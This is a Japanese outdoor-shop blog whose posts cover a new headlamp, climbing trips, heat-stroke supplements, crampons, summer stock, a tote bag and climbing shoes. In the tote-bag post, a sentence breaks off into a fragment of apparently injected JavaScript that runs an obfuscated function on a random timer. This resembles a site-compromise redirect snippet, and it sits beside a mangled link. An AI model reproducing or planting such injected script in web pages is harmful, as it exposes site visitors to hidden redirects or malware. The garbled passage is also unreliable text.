あたらしいストーム。

おはようございます。デナリさんでは定番のヘッデン、BD社「ストーム」が新しくなってきたので、ご紹介です。

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最大照度が60%も向上して(100ルーメン→160ルーメン)、非常に明るいです。
操作方法も旧モデルから引き継いでおり、シンプルで使いやすく、使い手を選ばないヘッデンです。

明るさもそうなのですが、この新ストームには「ワンタッチで最大の明るさになる機能」が搭載されています。(パワータップテクノロジー。)

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正面から見て、ヘッデンの目の左側にある「おひさまマーク」の部分を指で「タップ」すると最大照度に切り替わります。
もう一度「タップ」すると、もとの設定の明るさに戻ります。

便利の一言に尽きます。普段は控えめの照度設定で節約しておいて、要所要所で「タップ」してあげれば、効率的。

カラーリングも今回は結構シックな感じです。

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サンプルあるので、是非お店でいじくってみてください!。

もちろんネットからもOKです。

乗り鉄

湿気った四谷を脱出して今日は「乗り鉄」です!。

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納品がてら、松本方面をウロウロ。

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ウロウロがてら、昼間から完成です・・・。

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ベロベロがてら、お風呂にも行って来た。

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梅雨の過ごし方はむずかしい・・・。

もういっちょ瑞牆。

先週末、瑞牆山に行ってきました。外岩が初めてな2人と、僕が所属している登攀クラブの先輩の4人で行ってきました。
外岩が初めてなお2人は、駐車場から見える瑞牆山の岩に興奮気味。ぼくも、来るたびにほぼ興奮状態。

目標は、カサメリ沢。2人には、少し難しいエリアだったかもしれませんが、リードあり、トップロープありで、やってみました。

もり

夏の日差しですが、沢の近くは涼しげです。
葉っぱの色が、まだ夏ではないかな?。夏山まで、もー少し!。

フェースあり(「あの薄カチどうすればいいんですか…。」その後ぶじにRP。)
写真
クラックあり(本人は初クラック。カムをセットしながら。足を信じてカム入れろー!。がんばれい!。)
くらっく
最後はボルダーあり(写真の躍動感は二段だけど、実際は6級。(笑))
しぇふぼる

いい感じでクライミングできました。
(写真の加工はお許し下さい。友人撮影。)

ぼくは課題を1本抱えての下山。またいくぞ〜。

過信は禁物、油断も禁物。

おはようございます!。

あんまり自分の力を過信してはいけないと思います。自分の器を小さく見積もって、いろいろ準備していくスタイルもアリだと思う。

日々のトレーニング、足りてますか?。
結局その場その場で山登り、なんてありがちな話。

そういう人にまず進めるのが
①ストック:足への負担が3割減ります。
②サプリメント:BCAAは筋肉疲労、クエン酸は肉体疲労。翌日の仕事でヘロヘロになるくらいなら、「ドーピング」。
③サポーター:ご存知の通り。筋肉稼動を補助します。

自分のことを信じきってる人は、実際見向きもしません。それはそれで良いことなのですが。

しかし、これからの季節は体力だけあっても、なかなかどーにもならない「熱中症」が待ってます。
水分、塩分、ミネラル、ビタミン・・・そういうのを補給していかないで油断してると、すぐイっちゃいます。

塩熱飴、オススメです!
電解質の補給/水分補給補助/BCAA摂取などなど、ようは「熱中症対策」になります。

写真 1

写真 3

そんな大げさなものじゃないし、ポッケに1粒2粒いれときゃいい。
おまけに味も結構美味しい!。

時既に遅し状態にならないように、常備しておくといいですよ〜!。

何でこーゆー形にするかなぁ~。

こちら、B社のネーベさん。アルミですから、折り曲げるぐらい仕方ない。

でも、こーゆーのは「ユーザーに優しく、工場長に厳しい」形状です。普通の▲以外は面倒臭い。

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次はコチラですが、慣れてしまえば、「縦爪」は、それ程難しい話じゃない。

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むしろ「その他」の爪の方が、変なギザギザで悩ましげな形状だったりする。

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こちら、B社のスティンガーくんに至っては、どーすんのヨ、こんなにギザギザさせちゃって!!。確かに、格好イイけどさぁ~。

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「少ない労力、程良い稼ぎ」を企む私としては、デザイナーに悪意すら感じる。

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そろそろアイゼンを寝かせておく時期となりますので、メンテナンスはオフシーズンに済ませましょう!。

じょじょに「夏仕様」へ。

こんにちは。

まず、店先。
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「サンダルコーナー」です!。かかとが潰せるスリッパタイプもありますよ。

そして、二階。
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「短パンコーナー」です!。クライミングの時は、やっぱり七分丈が便利?。

じょじょに「夏仕様」へ移行中です。

MLIっぽい袋

巷で最近流行の「ミルスペック」的なコレ、男の子はこーゆーのに弱い。後ろ髪引かれて、つい入れてしまった・・・。

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まぁ、言えば3wayなトートバックですから、何にお使いになろーが自由です。こだわり派の人はandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands/index.htm” target=”_blank”>カタログでも読んでくれ

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今時珍しい“Made in USA”なところも素晴らしので、お好きな方は是非、限定好きも見逃すな!。

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ちなみに、しゃけ生息個体数も少なくなってきました(でなりさん、本日時点で7匹飼育中)。ご注意下さい。

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ダムと橋と沢靴

まずダムに行った。

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次に橋に行った。

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ここまでは普通の遠足。靴を履き替えれば「大人の遠足」、天気も良く楽しい川遊びでした。

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毎度あり。ギャラで新しい沢靴買お。

4世代、並べてみました。

こんにちは。Five Ten社の新しいクライミングシューズ。「Anasazi Lace up THE PINK」が入荷してきました。
商品名も、ソールも、カラーも、代によって変わり続けてきた伝説のモデルです。

新製品導入にもかかわらず、恐ろしい事に、デナリさんには4世代が同居。まだ居座っているヤツもいるので、全員集合、並べてみました。

まず正面から。
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つづいてヒールから。
写真 2

C4ソール時代とヒール形状変更入れれば、コイツも3代目か?。とりあえず、一番右が最古参。一番左が入荷してきた最新モデルです。

ヒールの部分、かなり変わってきてますね。旧タイプを見ると、ちょっと狂気を感じるほどのデザイン。ぱこぱこ踵が浮いてしまいそうです。
それに比べて最新モデルの「THE PINK」はかなりスッキリ。洗練されてきてます。

カラーリングは、初代に戻ったことで「復刻」的なイメージ。

ちなみにソールは、(C4)→ONYX、ONYX、XX、C4。改良と改悪は紙一重、結局、オリジナルに戻しました。

写真

最新モデルの「THE PINK」のはき心地、なのですが
特に1世代前の「VERDE」と比べると、センター軸が少し親指寄り(内側)になっているような気がします。
「VERDE」はもっと中指寄りに体重が乗っかっていくような感触?
ソールから見ても、ターンインしている訳ではないのですが、トゥトップが少し内側に来ているせいか
そんな印象。
どっちを取るかは、好み次第かな?。いずれにしても悪くない、癖のない足入れ。

ヒールのホールド感も、強すぎず弱すぎず
いい感じです。

レースアップのクライミングシューズを検討している方は、是非はいてみてください。
オススメです♪。ネットショップもどうぞ!。